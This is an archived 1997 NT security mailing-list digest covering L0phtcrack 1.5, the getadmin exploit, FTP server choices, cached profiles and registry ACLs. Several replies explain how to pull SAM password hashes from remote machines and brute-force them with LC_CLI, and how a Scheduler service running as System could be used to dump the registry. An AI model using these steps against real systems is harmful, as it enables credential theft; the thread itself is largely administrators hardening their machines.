> > (8.8.5/8.8.2) with ESMTP id PAA28578 for
> > ; Tue,
> > 15 Jul 1997 15:45:53 -0400
> > Received: from localhost (mudge@localhost) by l0pht.com
> (8.8.5/8.8.4)
> > with SMTP
> > id PAA01961 for ; Tue, 15 Jul 1997
> > 15:48:53
> > -0400
> > MIME-Version: 1.0
> > Approved-By: Who cares what the hell goes into a Gecos field
> anyway!
> > 
> > Message-ID: 
> > Date: Tue, 15 Jul 1997 15:48:52 -0400
> > Illegal-Object: Syntax error in Reply-To: address found on
> > brimstone.netspace.org:
> > Reply-To: Who cares what the hell goes into a Gecos
> > field anyway! 
> >
> > ^ ^-missing end
> of
> > address
> > \-extraneous tokens in address
> > Sender: Bugtraq List 
> > Illegal-Object: Syntax error in From: address found on
> > brimstone.netspace.org:
> > From: Who cares what the hell goes into a Gecos field
> > anyway! 
> > ^
> > ^-illegal special character in phrase
> > \-extraneous tokens in mailbox
> > Subject: L0phtcrack 1.5
> > From: 
> > To: BUGTRAQ@NETSPACE.ORG
> > Content-Type: TEXT/PLAIN; charset=US-ASCII
> > 
> >
> > Greets everyone,
> >
> > A couple of things that I haven't changed in the below announcement
> > since
> > weld was kind enough to do it while I was at DefCon.
> >
> > 1) Microsoft now has a "fix" based upon this information - we will
> see
> > if
> > they provide proper credit. Though I know of no sites that would be
> > able
> > to widely deploy this patch.
> >
> > 2) SMB signing (ie SP3) can be broken in the same way that we attack
> > the
> > "challenge-response".
> >
> > 3) the times posted below are for intel. The UltraSparc times are
> much
> >
> > much faster.
> >
> > 4) The Challenge response is just as 'brute-force'-able as without
> > this
> > extra 'obfuscation' level.
> >
> > Full program including source and binaries
> > can be found at:
> >
> > http://www.l0pht.com
> >
> > COMMERCIAL AND GOVERNMENT USERS PLEASE SEE THE END
> > OF THIS FILE FOR LICENSING INFORMATION. FOR YOU THIS
> > PROGRAM IS SHAREWARE, FOR ALL OTHERS IT IS FREE.
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 00:36:23 +0000 (GMT)
> > From: Andreas Kostyrka 
> > Subject: Re: [NTSEC] Getadmin
> >
> > - -----BEGIN PGP SIGNED MESSAGE-----
> >
> > On Sun, 15 Jun 1997, Comms_Server wrote:
> >
> > > Here's yet another question about getadmin :
> > >
> > > Is it possible to run the getadmin.exe in windows 95 and get it to
> > work
> > > properly if the NT dll's it needs were copied into the
> > c:\windows\system
> > > directory?
> > Since when does Win95 have a notion of Admin? (It may have one in a
> > domain, but this applies to the NT boxes, not the Win95 ones,
> right?)
> >
> > Andreas
> >
> > - -----BEGIN PGP SIGNATURE-----
> > Version: 2.6.3i
> > Charset: noconv
> >
> > iQEVAwUBM8wXiVGrPWwMHrE1AQEKvQf9EaUmkO70EySs3Ja9hQ64Brk3oSUBFAaf
> > p+bbiV5HtlldgwwYc/cTbmWySfCnAn8AZ0ThS9yb3dv/nGZuE7AgYk/KHBqm9HR8
> > TXjnGgJ7xXqFrbVYrp8DpGT82D36yZUZF/7jrKraSTtdahux8E++2rCndSsEeg8+
> > pLIUdjGuQ/FKeQX4skwC6wPcgqcPjaxTWojulZY/Ru2Sw8eWdKHdyGetMTir8uI/
> > RL6+DgrnMiC4dKrr+dSsq7tUio589xUeOevXUcb6ClKA49DkTJElsMHqChTRMQsk
> > uJkMEorB9bBWDekh1emt88NQHCQ4TuEOel+BeqgCmtddQWDCLjrqPA==
> > =zKWM
> > - -----END PGP SIGNATURE-----
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 15:16:13 -0800
> > From: Martin Declan Kelly 
> > Subject: [NTSEC] Secure FTP
> >
> > A while ago someone mentioned a more secure NT FTP server that you
> > could
> > configure to drop a user into their home directory rather than IIS's
> > "ftproot" but I can't for the life of me remember what it was
> > called... any
> > takers?
> >
> > Martin
> >
> > ______
> > _________________________________________________________________
> > T E L E P O R T W E B M A S T E
> > R
> >
> > Teleport Internet Services | 319 SE Washington #305 | Portland, OR
> > 97204
> > Phone (503) 223-0076 | Fax (503) 223-4372 | Email
> > webmaster@teleport.com
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 13:59:08 -0400
> > From: Christopher.Padilla@entex.com
> > Subject: [NTSEC] NET commands
> >
> >
> > NT friends,
> >
> > I am looking for a way to use the NET commands to provide me
> with
> >
> > security for a \\SERVER or a /DOMAIN. If you have the magic
> key
> > sequences please forward them to me.
> >
> > Thanks,
> > Chris
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 97 08:30:21 +0800
> > From: Virendra.Mantri~mantri01@mhs.us.swissbank.com
> > Subject: Re: [NTSEC] Variable (User Name)
> >
> >
> > The variable is USERNAME. I guess, you will have to refer to
> it
> > as
> > %USERNAME% if your are writing a simple DOS script.
> >
> > Execute the command 'set' at the DOS prompt, and you will see
> all
> > the
> > environmental variables.
> >
> > Cheers,
> > Viren
> >
> > ______________________________ Reply Separator
> > _________________________________
> > Subject: [NTSEC] Variable (User Name)
> > Author: BBOYD (BBOYD@mail.state.ky.us) at unix,mime
> > Date: 16/7/97 2:07 AM
> >
> > I need to pass the variable for user name on to another application.
> > Does anyone have the information concerning what that variable is.
> >
> >
> > Thanks,
> > Bob Boyd
> >
> > Information Security Officer
> > Kentucky Revenue Cabinet
> > Office (502)564-5200 X4492
> > Fax (502)564-9896
> > e-mail BBoyd@ mail.state.ky.us
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 97 09:11:56 EST
> > From: msee@CCMGATE.PERPETUAL.COM.AU
> > Subject: Re: [NTSEC] Getadmin
> >
> > Hi Misha,
> >
> > Banyan Systems Australia just announced a product that allows
> > users to
> > access their LAN from the Internet by logging into a personal
> web
> >
> > page.
> >
> > From "The Australian" newspaper, Tuesday 15 July 1997:
> > ---
> > "That will take you back through your firewall to your
> Corporate
> > network ..."
> > "... based on the Windows NT platform and sits behind the
> network
> >
> > firewall."
> > "It acts as an interpreter between user requests and the
> network,
> >
> > providing SSL encryption and verifying users with digital
> > certificates."
> > "... costs AU$7850 for up to 25 users and AU$23,560 for up to
> > 100."
> > ---
> >
> > I'm interested in any similar technologies, so keep us posted.
> >
> > Regards,
> > Matthew See - Internet Administrator
> > Perpetual Trustees Australia
> >
> > ______________________________ Reply Separator
> > _________________________________
> > Subject: [NTSEC] Getadmin
> > Author: Comms_Server at INTERNET
> > Date: 16/7/97 8:53 AM
> >
> > Here's yet another question about getadmin :
> >
> > Is it possible to run the getadmin.exe in windows 95 and get it to
> > work
> > properly if the NT dll's it needs were copied into the
> > c:\windows\system
> > directory?
> >
> > If so, is there a patch available that will allow me to protect
> myself
> >
> > against this attack?
> >
> > Also, another quick question...Does anyone have CGI script or some
> > other
> > form of net source that will allow me to have a private page on my
> > site
> > that users can logon through..
> >
> > I.e. users will be able to access their own directories over the
> net.
> > How open to attack will this leave me. (I am planning to disable
> > logons
> > from administrator, setup, etc. Just bog standard users will have
> > access
> > to logon.
> >
> > thanks
> > Misha
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 08:53:57 +0800
> > From: Stephen Cooper 
> > Subject: Re: [NTSEC] Lost Administrator Password
> >
> > Try this
> > http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html
> >
> > Tim Chovanak (Digital Equipment Corporation) wrote:
> >
> > > What version, and do you know of any other accounts on the box?
> > >
> > > If it's 3.51 and Guest is enabled (default), you might be able to
> > put
> > > the recent GetAdmin bug to use, if it works on 3.51 boxes.
> > >
> > > > -----Original Message-----
> > > > From: Ronald Golden [SMTP:rgolden@akamail.com]
> > > > Sent: Wednesday, July 09, 1997 2:57 PM
> > > > To: NT Security Mailing List (E-mail)
> > > > Subject: [NTSEC] Lost Administrator Password
> > > >
> > > > We had a user with the administrator password on a NT standalone
> > > > workstation get fired. He was the only one with the password.
> Is
> >
> > > > there
> > > > anyway to get into this machine, or are we hosed?
> > > >
> > > > On another note. Yesterday, I sent out an e mail to my address
> > > book,
> > > > the
> > > > purpose of which was to transfer names to my Netscape e mail. I
> > > > accidentally included this list in the mailing. I sincerely
> > > apologize
> > > > for
> > > > any inconvenience it caused. I only sent it once. I don't know
> > why
> > >
> > > > it got
> > > > sent so many times. It was not intentional. I even waited
> until
> > I
> > > > had
> > > > something to post to send this apology. Thanks.
> > > >
> > > > Ronald Golden
> > > > rgolden@akamail.com
> > > >
> > > > -----BEGIN PGP PUBLIC KEY BLOCK-----
> > > > Version: 2.6.2
> > > >
> > > > mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
> > > > cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
> > > > wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
> > > > tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
> > > > =qRI0
> > > > -----END PGP PUBLIC KEY BLOCK-----
> >
> > - --
> > Stephen Cooper 
> > Internet Engineer, Internet and Open Systems Group
> > AlphaWest, Level 10, QV1 Building, 250 St Georges Tce, Perth, WA
> 6000
> > Main: (+61 8) 94296000 Fax: (+61 8) 94296030
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 11:55:40 +1000
> > From: Manoj Nayar 
> > Subject: RE: [NTSEC] [Fwd: L0phtcrack 1.5]
> >
> > have used it..requires a lot or processor oomph for brute force.
> Pulls
> >
> > the SAM down form any machine easily though...net Admin privillages
> > though.
> >
> > >----------
> > >From: 0x486578[SMTP:486578@ilinks.net]
> > >Sent: Wednesday, July 16, 1997 9:19 AM
> > >To: ntsecurity@iss.net
> > >Subject: [NTSEC] [Fwd: L0phtcrack 1.5]
> > >
> > ><>
> > >
> > >
> >
> > ------------------------------
> >
> > End of ntsecurity-digest V2 #588
> > ********************************
> 
> 
> 
> 
> 
I have been experimenting with securing the registry and file system of an 
NTW 4.0 system. However, I find now that I have gone too far and would like 
to go back to the default ACLs and start over. I am considering the 
following approach to restore the registry ACLs --

- backup current registry using rdisk/s, as well as with regback (for 
safety's sake).

- use the Win95 editor (regedit) to dump the entire registry to a text 
file.

- use the repair disk to restore the registry from a backup made before the 
experiment began. This should restore the base registry with its default 
ACLs, but drops all keys added subsequently. Perhaps regrest is a more 
precision tool for this job? Use regedit to dump the 'new' registry to a 
text file for later comparison with the first dump.

- use regedit to reload the missing keys from the text file (and overwrite 
changed values), without reimporting the bad ACLs. The new keys should 
inherit ACLs from the parent keys. Problem - recently deleted keys will be 
back.

Will this procedure work. Is there a Better Way?

As for backing out of NTFS changes, Q139822 states that an NTFS drive can 
be backed up, restored to FAT and then converted to NTFS without losing its 
ACLs. To me this implies the ACLs are not only stored in the directory 
entries, but are replicated elsewhere (registry?). Any suggestions on how 
to proceed?


Bruce Reeves
Vancouver Hospital & Health Sciences Centre
Vancouver, BC
Canada
The variable is called %USERNAME% on an NT system. It isn't available
on a 95 system. Use Kixtart instead (on both NT and 95).

>----------
>From: owner-ntsecurity-digest@iss.net[SMTP:owner-ntsecurity-digest@iss.net]
>Sent: Wednesday, July 16, 1997 2:00 AM
>To: ntsecurity-digest@iss.net
>Subject: ntsecurity-digest V2 #588
>
>______________________________ Reply Separator
>_________________________________
>Subject: [NTSEC] Variable (User Name)
>Author: BBOYD (BBOYD@mail.state.ky.us) at unix,mime
>Date: 16/7/97 2:07 AM
>
>
>I need to pass the variable for user name on to another application. 
>Does anyone have the information concerning what that variable is.
> 
> 
>Thanks,
>Bob Boyd
> 
>Information Security Officer
>Kentucky Revenue Cabinet
>Office (502)564-5200 X4492
>Fax (502)564-9896
>e-mail BBoyd@ mail.state.ky.us
>
This isn't a solution per se but a possible suggestion. If you're
interested in preventing a user from using something when logged into
the network then have the login script look for it. It's a simple
matter to do:

if exist c:\windows\some.evil.dll delete some.evil.dll

Or set up an if/goto series of steps to delete it, notify you, lock the
workstation or whatever. 

Granted this is a very lightweight method of detection but it keeps tabs
on the on-site users that like to 'help configure' their systems. I
don't recall off the top if there's a command line find file function
that would help track something down. I use the blat program to send me
e-mail when a login script discovers something 'interesting'.


>----------
>From: owner-ntsecurity-digest@iss.net[SMTP:owner-ntsecurity-digest@iss.net]
>Sent: Wednesday, July 16, 1997 2:00 AM
>To: ntsecurity-digest@iss.net
>Subject: ntsecurity-digest V2 #588
>______________________________ Reply Separator
>_________________________________
>Subject: [NTSEC] Getadmin
>Author: Comms_Server at INTERNET
>Date: 16/7/97 8:53 AM
>
>Here's yet another question about getadmin :
> 
>Is it possible to run the getadmin.exe in windows 95 and get it to work 
>properly if the NT dll's it needs were copied into the c:\windows\system 
>directory?
> 
>If so, is there a patch available that will allow me to protect myself 
>against this attack?
> 
>Also, another quick question...Does anyone have CGI script or some other 
>form of net source that will allow me to have a private page on my site 
>that users can logon through.. 
> 
>I.e. users will be able to access their own directories over the net. 
>How open to attack will this leave me. (I am planning to disable logons 
>from administrator, setup, etc. Just bog standard users will have access 
>to logon.
>
-----BEGIN PGP SIGNED MESSAGE-----

On 16 Jul 97 at 8:58, Doug Roberts wrote about: RE: [NTSEC] [Fwd:
L0phtcrack 1.5]

> >have used it..requires a lot or processor oomph for brute force.
> >Pulls the SAM down form any machine easily though...net Admin
> >privillages though.
> >
> 
> I've had varying luck getting this crack to run. I'm looking for
> some documentation on pwdump.exe - does this have to be run on the
> local machine, or can it pull the SAM from network machines?
> 
> Run locally, I can only get 1 out of our 4 NT machines to actually
> dump the SAM, and none to dump via network connection. I'm trying to
> figure out why all the machines (same SP and hotfixes) don't act
> similarly.


You can use L0phtcrack to pull the registry from a remote machine. All
you need is read access to the registry on that machine. You will see
the username and hashes in the window where you can perform a
dictionary attack. To perform a brute force attack you need to use
LC_CLI. How do you get the hashes in a text file? When you select
'Save as' it will save them in a readable format, nothing that LC_CLI
can read. 

But, have a look in your TEMP directory. There you will find a file
called PASSWDxx. Copy that file over to your directory where LC_CLI is
located, and call LC_CLI with the parameters '-p PASSWDxx. -b' to
start a brute force attack.

Everytime you pull a registry into LC_GUI it creates a file in TEMP.


Regards,
Frank



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM80olsZP3ocmY5AlAQHQ/gP/YHGL0LCDYlu1cnutnLut4DHE97iQvxF7
zghJUDxAaffAC/pa1aUTWy9MqPoOzb3cg1Eo+XMywKgDuyhi+LAai7tRbLdEMZMl
33//jqA0rwmKmuepq6zFjK3/8k4kK7qlLBLVXuR/gO5bX9ous+FFNzke9aIawM9x
78c3METsizE=
=2+me
-----END PGP SIGNATURE-----
-----BEGIN SPAM WARNING-----

WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
THIS WILL DISABLE FURTHER CORRESPONDENCE.
PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
EMAIL LIST.

-----END SPAM WARNING-----

Well the topic says it all.  I need to grant advanced 
user rights for a 6000 server roll-out, and I don't look forward to doing click, 
click, click 6000 times.  Does anyone know of a utitlity to grant user 
rights to groups and users from a command line?

Jay Urbanski
strops@well.com

there is a registry entry to turn off local caching of roaming profiles:


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
 DeleteRoamingCache=dword:1

If there are no roaming profiles, each user gets a local copy of the
default user and this profiles hangs around forever. In a lab
environment with lots of potential users this can be a problem. We use
the delprof.exe from the NT Server Resource Kit in a nightly job to
delete them. It doesn't delete All Users, Default Users, or Admin
profiles.

Tom Zeller
Indiana University

> -----Original Message-----
> From: Mark Curphey [SMTP:m.curphey@rhbnc.ac.uk]
> Sent: Wednesday, July 16, 1997 10:28 AM
> To: 'ntsecurity@iss.net'
> Subject: [NTSEC] Cached Profiles
> 
> Whilst playing around with things today I have experienced something a
> 
> little wierd and worrying. Whilst setting up dummy users on a server
> the 
> profile becomes lets say, \\fred\profiles\007 and home dirs in 
> \\fred\profiles\007\personal
> 
> You now log onto a client that pulls down the relevant files and
> builds 
> your envionment. So far so good. However the profile is cached locally
> on 
> the client. Files are not updated until the end of the session when
> all 
> info is passed back to the server. Sometimes they are updated as is
> but 
> other not. Anyway, problem is that the cached profile is not removed
> at the 
> end of a session.
> 
> So scenario is as follows.
> 
> Disgruntled employee has been fired.In his home dirs he has some
> infomation 
> of great value to the company and himself. He want it off for his next
> 
> company.
> 
> He pulls out the ethernet cable, and proceeds to login. The
> authentication 
> process cant find the primary domain controller so asks if you want to
> use 
> the locally cached profile. Chances are it contains your home dirs
> (yeah 
> maybe old but still information).
> 
> Even worse he bombs the PDC and forces a user to logon to a
> workstaion. 
> Later he logs on with his users account and runs getadmin.exe (yeah 
> pre-fix) and can look at someone elses information.
> um.................
> 
> Any solutions ? There must be a method to stop caching profiles
> (registry 
> entries).
> 
> Can anyone explain the true ins and outrs of the \007.000, 007.001
> etc. I.E 
> if I log onto two machines how does the profile on the server get
> updated. 
> Which one is used to append the file ?
> 
> Regards,
> 
> 
> Mark Curphey
The MSWNT 4.0 Server Concepts and Planning book, the writers discuss
"single domain", "single master domain", and "multiple master domains"
models. What they don't talk about is *why* one should avoid other
configurations.

Here is my situation: I have a domain setup using the "single domain"
model, i.e. I have accounts and resources in one domain, with
accounts for most people in my school. This domain serves the
computer labs supported directly by the school. Today, I have been
asked by the manager of a departmental computer lab if I will setup a
one-way trust relationship with his domain so that my school-level
accounts can be used in his department-level domain. This would
enable people to avoid having yet another account deal with (worse
case: Joe Student currently has to deal with *5* accounts and this
would be #6!)

If I had started off with the "single master domain" model, this would
be easy to do while staying within the MS recommendations.
Unfortunately, since we chose to go with the "single domain" model, I
cannot do as I have been asked and stay within the MS recommendations.

My question: How much weight should I give to the MS recommendations
and the absence of this proposed configuration from those
recommendations? Is there some good reason why I should not treat a
domain with both accounts *and* other resources, initially setup using
the "single domain" model, as though it were a master domain and allow
some other domain to trust me?

 David
-- 
David R. Linn, SEDCON System Manager |INET: drl@vuse.vanderbilt.edu
Vanderbilt University School of Engineering|Phone: [+1] 615-343-6164
Box 3241, Station B |Disclaimer: I have no authority
Nashville, TN, USA 37235 |to speak for anyone but myself.
 "Export crypto, not jobs." - Daniel Lynch
 http://www.vuse.vanderbilt.edu/~drl
>You can use L0phtcrack to pull the registry from a remote machine. All
>you need is read access to the registry on that machine. You will see
>the username and hashes in the window where you can perform a
>dictionary attack. To perform a brute force attack you need to use
>LC_CLI. How do you get the hashes in a text file? When you select
>'Save as' it will save them in a readable format, nothing that LC_CLI
>can read. 

I'm getting an error: "Failed to open key 
SECURITY\SAM\Domains\Accounts\Users to set security" whenever I try and 
dump on most of my machines. I assume that this is a good thing.

The one machine that does dump also cracked with no problems, although I 
didn't run the full brute force attack.

Doug Roberts
dougr@headspace.com

> Run locally, I can only get 1 out of our 4 NT machines to actually dump 
> the SAM, and none to dump via network connection. I'm trying to figure 
> out why all the machines (same SP and hotfixes) don't act similarly.
> 
> 
mmm.......a BUG??....no, all the microsoft products do the 
same...hehehe.....

i saw this even with similar machines....the same model....disk, 
processor....and many products after install act different....

but, i think i just found an explanation......are u the user of all the 
computers??.....if yes....i don´t know what could it be, if not...it 
is propably (100%) that the computer user do "certain things" that you didn´t 
know he did.......(like installing netscape :P)

well......bye



Jorge Avila
Mexico Direct
Internet Applications Engineer
avila@mexdirect.com
Thanks for all the answers on this - 

>run tools\dump Password Registry and just type in the unc path name..it
>will dump the hashed passwords for you. You should be having admin
>privlgs though..
>
>have tried it on multiple servers and it has worked in every case.
>

That's exactly what I have been trying - on all machines, both as user 
and administrator, locally and over the network. Only one has worked - my 
main server, of course...

This advice from Frank Knobbe is probably on track:

>Check and compare the security settings on a failed and the
>successful machine. You probably don't have read rights on the SAM
>key, which is good :)

I did a quick check of this before, but nothing in depth. I'll dig in and 
find out.

A crack that requires admin status is a dubious crack, no? I admit it's a 
great thing to be able to unlock all the users on the machine, but the 
requirements for this crack seem high if an NT newbie such as myself has 
systems that are (relatively) secure against it.

Of course, this ignores the getAdmin app...

Doug Roberts
dougr@headspace.com
>Check and compare the security settings on a failed and the
>successful machine. You probably don't have read rights on the SAM
>key, which is good :)
>
>

Yep - that was it. The one machine that was vulnerable had administrators 
with Read and Write DAC permissions. Changing that to Read only makes the 
crack fail.

The one drawback I see to this setup is that I would have to go up to the 
SAM key, rest the permissions to allow writing to the DAC and replace 
that permission recursively.

Anyone see other problems?

Doug Roberts
dougr@headspace.com
How to create multiple policies on a standalone system?

How to lock down the local disc drives to read only status by user, group policies?

How to create a default set of mutli-user policies that can be installed in a Win95 peer network?

Sample policy files to use as templates?

Is third party software necessary to lock down workstations?

TIA

The collected questions of the classroom of Jan at U of Idaho. 

Petar:

 I'm using MSP 2.0ß with a pipeline 50 set up fpr dial on demand. So far,
it works very well -- once I got over the learning curve!

Mark

----------
> From: Petar Nikolich 
> To: Mike Adams ; 'ntsecurity@iss.net'
> Subject: Re: [NTSEC] Steelhead / Proxy 2.0a Question...
> Date: Tuesday, July 15, 1997 8:02 PM
> 
> If you ferret through the docs you will find that the answer is - YES.
> 
> There just need to be "TWO" networks. It doesn't matter what devices
> each network is connected on, as long as RAS + Routing can find driver
> support for them. Proxy 2 is designed to cooperate with R&R services.
> Again, its in the docs - errr dare I say - rtfm
> 
> The security aspect seems much improved, well at least a lot more
options.
> 
> ----------
> From: Mike Adams 
> To: 'ntsecurity@iss.net'
> Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> Date: Wednesday, July 16, 1997 1:58 AM
> 
> Does anyone have any feedback or knowledge on using Proxy 2.0 with 
> Steelhead? Can you use proxy with steelhead if you have a ISDN modem 
> connected to a NT server as a dial on demand router? In other words
does 
> Proxy require two NIC cards or will it use the RAS / WAN connection?
> 
> 
> Any ideas?
How does it use native nt mechanisms or whatever to encrypt the account
info passed over the wire?

----------
From: Magnus Rixtorp 
To: 'ntsecurity@iss.net'
Subject: RE: [NTSEC] Secure FTP
Date: Wednesday, July 16, 1997 8:51 AM

Check out http://www.jgaa.com/tftpd.htm instead...

WAR FTP Daemon...

The following is a list of features of The FTP Demon

Compatibility 

Follows the RFC 959 and 1123 FTP specifications. 
Works with Cute-FTP, WS_FTP, ftp (the one following Win95 and NT), MS
Internet Explorer, Netscape Navigator, AmFTP, M-FTP, GuiFTP, - in fact,
there is hardly reported any incompatibility at all. 
Emulates standard UNIX ftp servers, including most ls line parameters and
ls formatted output. 
ABOR command supported. (Yes - it's listed in the RFC, but not all PC based
FTP servers can handle it). 
REST command supported (Resume an aborted transfer) 
Import filter for Serv-U user database 
Native support for NT service process mode. 
Optional Wu-ftpd compatible log for file transfers 
Operates on Windows95, Windows NT 3.51 (Intel only) and Windows NT 4.0
(Intel only). 
War FTP Daemon is a native 32 bit application and will not work on Windows
3.*. Requires 486 processor or better. 

Design 

Multithreading 
Dialog based system console 
Simple and advanced mode of operation, making it perfect for both small and
large FTP services. 
Users are organized in user-groups and user-classes to ease maintenance of
time-out, directory/file access etc. 
Automatic shutdown option when the last user has logged off 
Displays a list of all users online where you can kick one of them, edit
the user database entry, send a message to the user or even spy at the user
(see the last
given command, current directory, file transfers and a list of all files
this user has sent/received during the current session. 
Supports user supplied messages to the console through the SITE MSG
command. 
Supports personal greeting messages to all users, groups and classes. 
Full OLE support for Win95/NT4 .lnk shortcuts 
Online and off-line operation 
In-memory transfer of directory listings 
DOS or UNIX style directory paths 
Mapping of paths to the root path 
Support for long filenames 
Virtual file system for improved performance and functionality, including
full UNIX-like security and links on directory and file level. 
Scheduled re-scans of the Virtual File system to handle changes made on the
file system outside the server. 
"On the fly" generation of index files for the current directory/all files
on the system (that the user is allowed to see) 
Support for comments on any file/directory in "on the fly" generated .index
files. 
Macros in the welcome files to display the users name, time-out limit etc. 
On single network/ppp connections, the server shows the current IP number
in an edit window, allowing copy/paste of the number to other applications.
It
also saves this number to a file. 
Multihoming/multihosting support allows setup of several virtual FTP
servers based on the IP number the user connect to. Both
single-server/multiple domains
and multiple-servers/single (virtual) domain is supported. 
Firewall support - if FTP transfers is allowed, the War FTP Daemon is
reported to work with most firewalls. 
Context-sensitive Help 
Mounting of network drives at startup (NT service mode only) 
Denial of upload if the free disk space runs too low 
Flexible verification option on incoming files. This feature allows you to
use “plug-in” modules (external programs) to verify and validate incoming
files before
the upload is accepted by the server. Can be used for CRC checking, virus
scanning, processing of file_id.dix files etc. Several free plug-in modules
are made available by experienced War FTP daemon users. 
Option to handle brain dead ISP's (you know - those who try to block out
personal FTP sites on your ppp account) 
CD-ROM and CD-Julebox support (copy of files to harddisk prior to
transfering the file) 

Security 

High level of security with directory-level permissions for read, write,
execute, dir, mdkdir, rmdir and delete. 
Full UNIX security with user group and rwx permissions if the Virtual File
System is used 
Upload/Download ratio option for anonymous and regular users. Supports file
or byte check (upload # files/bytes for each # files/bytes to download).
Free
files can be defined. 
Reports of user access privileges, directory access privileges, etc. 
Maximum number of concurrent connections for users, groups and classes. 
Maximum number of connections based on login IP number (allows you to have
## anonymous logins, but just # concurrent connections from one
workstation. Handy to prevent one user from taking up too many connections.

Simple one-button enable or disable option for users, groups and classes 
IP level access control for the system, users, groups and classes. Incoming
connections can be refused before and after login based on the callers IP
address. 
Automatic disable of an account if a selectable number of bad passwords are
given 
"Not Wanted" list of files that will be refused. 
"Dupe checker" that can deny upload of any filename that exist within the
paths of the server 
Disconnect single users without shutting the system down 
Stop an ongoing file transfer without disconnecting the user 
No built-in limitations ("crippling"), "secret" connections to my site or
any other ugly stuff. 

//Magnus

>Serv-U FTP server. It allows you to assign a directory for each user, set
>disk quotas, Upload/Download ratios, different login messages for
different >users, etc. Its an excellent program. The only drawback is
that it does not >run as a service. The program is VERY inexpensive
(around $30)
>
> Check out www.cat-soft.com for more information....
>
>Charlie
>
>-----Original Message-----
>From: Joshua Soliz [SMTP:jsoliz@dpai.com]
>Sent: Wednesday, July 16, 1997 8:23 AM
>To: 'ntsecurity@iss.net'
>Subject: RE: [NTSEC] Secure FTP
>
>There is a way to configure NT's built in ftp server to drop you in a
>users home directory. THere is a white paper on MS's website...
>
>-----------------------------------------------------------
>Joshua J. Soliz,MCSE
>jsoliz@dpai.com
>Network Consultant
>DeCarlo, Paternite, And Associates, Inc.
>
>
>
>>-----Original Message-----
>>From: Martin Declan Kelly [SMTP:declan@teleport.com]
>>Sent: Tuesday, July 15, 1997 7:16 PM
>>To: ntsecurity@iss.net
>>Subject: [NTSEC] Secure FTP
>>
>>A while ago someone mentioned a more secure NT FTP server that you could
>>configure to drop a user into their home directory rather than IIS's
>>"ftproot" but I can't for the life of me remember what it was called...
any
>>takers?
>>
>>Martin
>>
>>________________________________________________________________________
>>T E L E P O R T W E B M A S T E R
>>
>>Teleport Internet Services | 319 SE Washington #305 | Portland, OR 97204
>>Phone (503) 223-0076 | Fax (503) 223-4372 | Email webmaster@teleport.com
>>
>>
>
>
 ___ ___ 
 / |\/ |\_____________________________
 / |/ || marix@engelholm.se |
 / /| /| || http://zzz.flum.org |
 /_/ |__/ |_||-----------------------------
 \_\/\__\/\_\|
 Life is what happens while
 you´re making other plans
----------

-----BEGIN PGP SIGNED MESSAGE-----

On 16 Jul 97 at 16:59, Doug Roberts wrote about: RE: [NTSEC] [Fwd:
L0phtcrack 1.5]

> >Check and compare the security settings on a failed and the
> >successful machine. You probably don't have read rights on the SAM
> >key, which is good :)
> 
> Yep - that was it. The one machine that was vulnerable had
> administrators with Read and Write DAC permissions. Changing that to
> Read only makes the crack fail.

Hm, I would think that the READ right is the one that would let you
read the SAM database. Why would Read-Only make this fail... anyone?


In your other post you wrote:

> A crack that requires admin status is a dubious crack, no? I admit
> it's a great thing to be able to unlock all the users on the
> machine, but the requirements for this crack seem high if an NT
> newbie such as myself has systems that are (relatively) secure
> against it.

Not really. There may be other 'open doors', where user can remotely
place a program on the server and use the Scheduler service to run the
program. I see a lot of systems where the scheduler service is still
set to 'manual' start-up (If you don't need the service, DISABLE it)
and starting under the System account. That way the program could run
under the System authority and suck down the Registry. (Would be
really genius to run the brute force attack on that machine as well,
would save you system resources...grin)


Frank



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM811xcZP3ocmY5AlAQEEQQP+PlAAeDQpOAna5ytNRYRc5usLqb/8oor4
mtQJmA7OvMr21tdPTyBpRFX2EHlkGdqjWiQzncTFYwFWqjdmP2r//RYADuDMpITH
8Y2EuRj7d/+dcd1p0bbNndWHrCR+N4FbDHMehgZuZt7W2C8zUdTvauJF3tacku9r
q1ph+Mkd7Cg=
=PUFw
-----END PGP SIGNATURE-----
-----BEGIN SPAM WARNING-----

WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
THIS WILL DISABLE FURTHER CORRESPONDENCE.
PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
EMAIL LIST.

-----END SPAM WARNING-----
it doesnt....it wasnt requerid either if i read Martin´s mail correctly..

//Magnus


>From: "John Traenkenschuh" 
>To: "Magnus Rixtorp" ,
> "'ntsecurity@iss.net'" 
>Subject: Re: [NTSEC] Secure FTP
>Date: Wed, 16 Jul 1997 20:26:19 -0500
>X-MSMail-Priority: Normal
>X-Mailer: Microsoft Internet Mail 4.70.1161
>
>How does it use native nt mechanisms or whatever to encrypt the account
>info passed over the wire?
>
>----------
>From: Magnus Rixtorp 
>To: 'ntsecurity@iss.net'
